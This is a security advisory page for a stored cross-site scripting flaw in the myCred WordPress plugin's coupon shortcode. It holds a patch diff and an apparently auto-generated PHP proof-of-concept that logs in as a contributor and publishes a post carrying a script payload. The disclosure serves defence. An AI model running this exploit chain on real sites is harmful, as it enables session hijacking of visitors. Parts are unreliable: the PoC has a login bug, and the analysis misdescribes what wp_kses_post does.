Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0550: myCred <= 2.9.7.3 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'mycred_load_coupon' Shortcode (mycred)

CVE ID CVE-2026-0550
Plugin mycred
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.9.7.3
Patched Version 2.9.7.4
Disclosed February 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0550:
The myCred WordPress plugin contains an authenticated stored Cross-Site Scripting (XSS) vulnerability in versions up to and including 2.9.7.3. The vulnerability exists within the ‘mycred_load_coupon’ shortcode handler, allowing contributors and higher-privileged users to inject malicious scripts into pages. This vulnerability has a CVSS score of 6.4 (Medium severity).

Atomic Edge research identifies the root cause as insufficient output escaping of user-supplied shortcode attributes. The vulnerable code resides in the file mycred/addons/coupons/includes/mycred-coupon-shortcodes.php. Specifically, the function handling the ‘mycred_load_coupon’ shortcode fails to properly sanitize the ‘label’ parameter before output. The code directly concatenates user input into HTML output without escaping, as shown in the diff at lines 82-85 where the ‘label’ variable is used without security filtering.

The exploitation method requires an authenticated attacker with at least contributor-level permissions. Attackers can create or edit posts containing the ‘mycred_load_coupon’ shortcode with malicious attributes. For example, an attacker could embed a payload like [mycred_load_coupon label=”alert(document.domain)”]. When any user views the compromised page, the malicious script executes in their browser context. The attack vector leverages WordPress’s shortcode parsing system, which processes these attributes during page rendering.

The patch adds proper output escaping using wp_kses_post() for both the error message and label parameters. In the diff, line 51 shows the addition of wp_kses_post($message) to sanitize error messages. Lines 82-85 demonstrate the addition of wp_kses_post($label) before the label is wrapped in HTML tags. These changes ensure that any HTML special characters in user input are properly encoded before being output to the browser, preventing script execution while preserving intended formatting.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of any user viewing the compromised page. This can lead to session hijacking, account takeover, content defacement, or redirection to malicious sites. Since the vulnerability requires contributor-level access, attackers must first compromise a user account with appropriate permissions, but once injected, the payload affects all visitors to the page.

Differential between vulnerable and patched code

Code Diff 
--- a/mycred/addons/badge-plus/includes/badge-plus-module-class.php
+++ b/mycred/addons/badge-plus/includes/badge-plus-module-class.php
@@ -450,7 +450,8 @@
             array(
                 'requirement_template' => $mycred_badge_requirement_template,
                 'event_templates' => $badge_event_templates,
-                'post_id' => get_the_ID()
+                'post_id' => get_the_ID(),
+                'nonce'   => wp_create_nonce( 'mycred-badge-plus-nonce' )
             )
         );
     }
@@ -670,7 +671,7 @@

         if ( ! empty( $type[0]->term_id ) ) {

-            if( ! isset( $_POST['mycred-badgeplus-nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['mycred-badgeplus-nonce'] ) ), 'mycred-badge-plus-nonce' ) ) {
+            if( isset( $_POST['mycred-badgeplus-nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['mycred-badgeplus-nonce'] ) ), 'mycredbadgeplus-nonce' ) ) {
                 $amount = isset( $_POST['mycred_points_badge_plus'] ) ? intval( $_POST['mycred_points_badge_plus'] ) : 0;
                 mycred_update_post_meta( $post_id , 'mycred_points_badge_plus', $amount );

@@ -826,6 +827,13 @@
     public function badge_plus_user_screen( $user ) {

         wp_enqueue_script( 'mycred-badge-plus-admin' );
+        wp_localize_script(
+            'mycred-badge-plus-admin',
+            'mycred_badge_plus_localize_data',
+            array(
+                'nonce' => wp_create_nonce( 'mycred-badge-plus-nonce' )
+            )
+        );
         $user_id    = $user->ID;
         $earned     = mycred_get_user_meta( $user_id, 'mycred_badge_plus_ids', '', true );

@@ -973,25 +981,31 @@
     /**
      * revoke user badge
      * @since 2.5
-     * @version 1.0
+     * @version 1.1
      */
     public function mycred_revoke_user_badge() {

-        if( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'mycred-badge-plus-nonce' ) ) {
-            $badge_id           = isset( $_POST['postid'] ) ? absint( $_POST['postid'] ) : 0;
-            $user_id            = isset( $_POST['user_id'] ) ? absint( $_POST['user_id'] ) : 0;
-            $earned             = isset( $_POST['earned'] ) ? absint( $_POST['earned'] ) : 0;
-            $users_badges       = mycred_get_users_earned_badge_plus( $user_id );
-
-            if( in_array( $earned, $users_badges ) ) {
+        if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'mycred-badge-plus-nonce' ) ) {
+            wp_send_json_error( array( 'message' => 'Invalid nonce' ), 403 );
+        }

-                $badge = mycred_badge_plus_object($badge_id);
-                $badge->divest( $user_id, $earned );
-                $msg = 'removed';
-            }else{
-                $msg = 'no badge';
-            }
+        if ( ! mycred_is_admin() ) {
+            wp_send_json_error( array( 'message' => 'Permission denied' ), 403 );
+        }
+
+        $badge_id     = isset( $_POST['postid'] ) ? absint( $_POST['postid'] ) : 0;
+        $user_id      = isset( $_POST['user_id'] ) ? absint( $_POST['user_id'] ) : 0;
+        $earned       = isset( $_POST['earned'] ) ? absint( $_POST['earned'] ) : 0;
+        $users_badges = mycred_get_users_earned_badge_plus( $user_id );
+
+        if ( in_array( $earned, $users_badges ) ) {
+
+            $badge = mycred_badge_plus_object($badge_id);
+            $badge->divest( $user_id, $earned );
+            $msg = 'removed';

+        } else {
+            $msg = 'no badge';
         }

         wp_send_json( array(
@@ -1004,44 +1018,55 @@
     /**
      * assign user badge
      * @since 2.5
-     * @version 1.0
+     * @version 1.1
      */
     public function mycred_assign_user_badge() {

         // Verify nonce
         if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'mycred-badge-plus-nonce' ) ) {
+            wp_send_json_error( array( 'message' => 'Invalid nonce' ), 403 );
+        }

-            // Extract data
-            $badge_id = isset( $_POST['postid'] ) ? absint( $_POST['postid'] ) : 0;
-            $user_id  = isset( $_POST['user_id'] ) ? absint( $_POST['user_id'] ) : 0;
-
-            if ( ! $badge_id || ! $user_id ) {
-                wp_send_json_error( array( 'message' => 'Missing badge or user information.' ), 400 );
-            }
+        if ( ! mycred_is_admin() ) {
+            wp_send_json_error( array( 'message' => 'Permission denied' ), 403 );
+        }

-            // Get badge object
-            $badge = mycred_badge_plus_object( $badge_id );
+        // Extract data
+        $badge_id = isset( $_POST['postid'] ) ? absint( $_POST['postid'] ) : 0;
+        $user_id  = isset( $_POST['user_id'] ) ? absint( $_POST['user_id'] ) : 0;

-            if ( ! $badge ) {
-                wp_send_json_error( array( 'message' => 'Invalid badge.' ), 404 );
-            }
+        if ( ! $badge_id || ! $user_id ) {
+            wp_send_json_error( array( 'message' => 'Missing badge or user information.' ), 400 );
+        }

-            // Assign badge
-            $title  = $badge->title;
-            $amount = $badge->points_award;
-            $date   = wp_date( 'F d Y h:i A', time() );
-            $msg    = 'assign';
-
-            // Handle reassignment
-            if ( $badge->user_has_badge( $user_id, $badge_id ) ) {
-                return;
-
-            }
+        // Get badge object
+        $badge = mycred_badge_plus_object( $badge_id );

-            $badge->assign( $user_id, $badge_id );
+        if ( ! $badge ) {
+            wp_send_json_error( array( 'message' => 'Invalid badge.' ), 404 );
+        }

+        // Assign badge
+        $title  = $badge->title;
+        $amount = $badge->points_award;
+        $date   = wp_date( 'F d Y h:i A', time() );
+        $msg    = 'assign';
+
+        // Handle reassignment
+        if ( $badge->user_has_badge( $user_id, $badge_id ) ) {
+            wp_send_json_success( array(
+                'badge_id' => $badge_id,
+                'user_id'  => $user_id,
+                'earned'   => time(),
+                'title'    => $title,
+                'amount'   => $amount,
+                'date'     => $date,
+                'assign'   => 'already has badge'
+            ), 200 );
         }

+        $badge->assign( $user_id, $badge_id );
+
         // Return success response
         wp_send_json_success( array(
             'badge_id' => $badge_id,
--- a/mycred/addons/coupons/includes/mycred-coupon-shortcodes.php
+++ b/mycred/addons/coupons/includes/mycred-coupon-shortcodes.php
@@ -50,7 +50,7 @@

 					$message = mycred_get_coupon_error_message( $load, $coupon );
 					$message = $mycred->template_tags_general( $message );
-					$output .= '<div class="alert alert-danger">' . $message . '</div>';
+					$output .= '<div class="alert alert-danger">' . wp_kses_post( $message ) . '</div>';

 				}

@@ -80,8 +80,10 @@

 		}

-		if ( $label != '' )
+		if ( $label != '' ) {
+			$label = wp_kses_post( $label );
 			$label = '<label for="mycred-coupon-code">' . $label . '</label>';
+		}

 		$output .= '
 	<form action="" method="post" class="form-inline">
--- a/mycred/mycred.php
+++ b/mycred/mycred.php
@@ -3,7 +3,7 @@
  * Plugin Name: myCred
  * Plugin URI: https://mycred.me
  * Description: An adaptive points management system for WordPress powered websites.
- * Version: 2.9.7.3
+ * Version: 2.9.7.4
  * Tags: point, credit, loyalty program, engagement, reward, woocommerce rewards
  * Author: myCred
  * Author URI: https://mycred.me
@@ -20,7 +20,7 @@
 	final class myCRED_Core {

 		// Plugin Version
-		public $version             = '2.9.7.3';
+		public $version             = '2.9.7.4';

 		// Instnace
 		protected static $_instance = NULL;

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0550 - myCred <= 2.9.7.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'mycred_load_coupon' Shortcode

<?php
/**
 * Proof of Concept for CVE-2026-0550
 * Demonstrates stored XSS via myCred plugin's mycred_load_coupon shortcode
 * Requires contributor-level WordPress credentials
 */

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Payload to inject via shortcode label attribute
$xss_payload = '<script>alert("Atomic Edge XSS Test: " + document.domain)</script>';

// Create a new post with malicious shortcode
$post_data = array(
    'title' => 'Test Post with XSS',
    'content' => '[mycred_load_coupon label="' . $xss_payload . '"]',
    'status' => 'publish'
);

// Initialize cURL session for login
$ch = curl_init();

// First, get the login page to obtain nonce/cookies
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);

// Extract login nonce (if present)
preg_match('/name="log" value="([^"]*)"/', $response, $matches);
$login_nonce = $matches[1] ?? '';

// Perform login
$login_fields = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

if ($login_nonce) {
    $login_fields['log'] = $login_nonce;
}

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);

// Verify login success by checking for admin bar or dashboard
if (strpos($login_response, 'wp-admin-bar') === false && strpos($login_response, 'Dashboard') === false) {
    echo "Login failed. Check credentials.n";
    curl_close($ch);
    exit;
}

echo "Successfully logged in as contributor.n";

// Now create the malicious post
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
$post_page = curl_exec($ch);

// Extract post creation nonce
preg_match('/name="_wpnonce" value="([^"]*)"/', $post_page, $matches);
$post_nonce = $matches[1] ?? '';

if (empty($post_nonce)) {
    echo "Failed to obtain post creation nonce.n";
    curl_close($ch);
    exit;
}

// Prepare post creation request
$create_post_fields = array(
    'post_title' => $post_data['title'],
    'content' => $post_data['content'],
    'post_status' => $post_data['status'],
    '_wpnonce' => $post_nonce,
    '_wp_http_referer' => $target_url . '/wp-admin/post-new.php',
    'post_type' => 'post',
    'original_post_status' => 'auto-draft',
    'save' => 'Publish',
    'publish' => 'Publish'
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($create_post_fields));
$create_response = curl_exec($ch);

// Extract post ID from response
preg_match('/post=([0-9]+)&action=edit/', $create_response, $matches);
$post_id = $matches[1] ?? '';

if ($post_id) {
    echo "Malicious post created successfully. Post ID: " . $post_id . "n";
    echo "Visit: " . $target_url . "/?p=" . $post_id . " to trigger XSSn";
    echo "The page will contain: [mycred_load_coupon label="" . htmlspecialchars($xss_payload) . ""]n";
} else {
    echo "Post creation may have failed. Check response.n";
}

curl_close($ch);

// Clean up cookie file
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School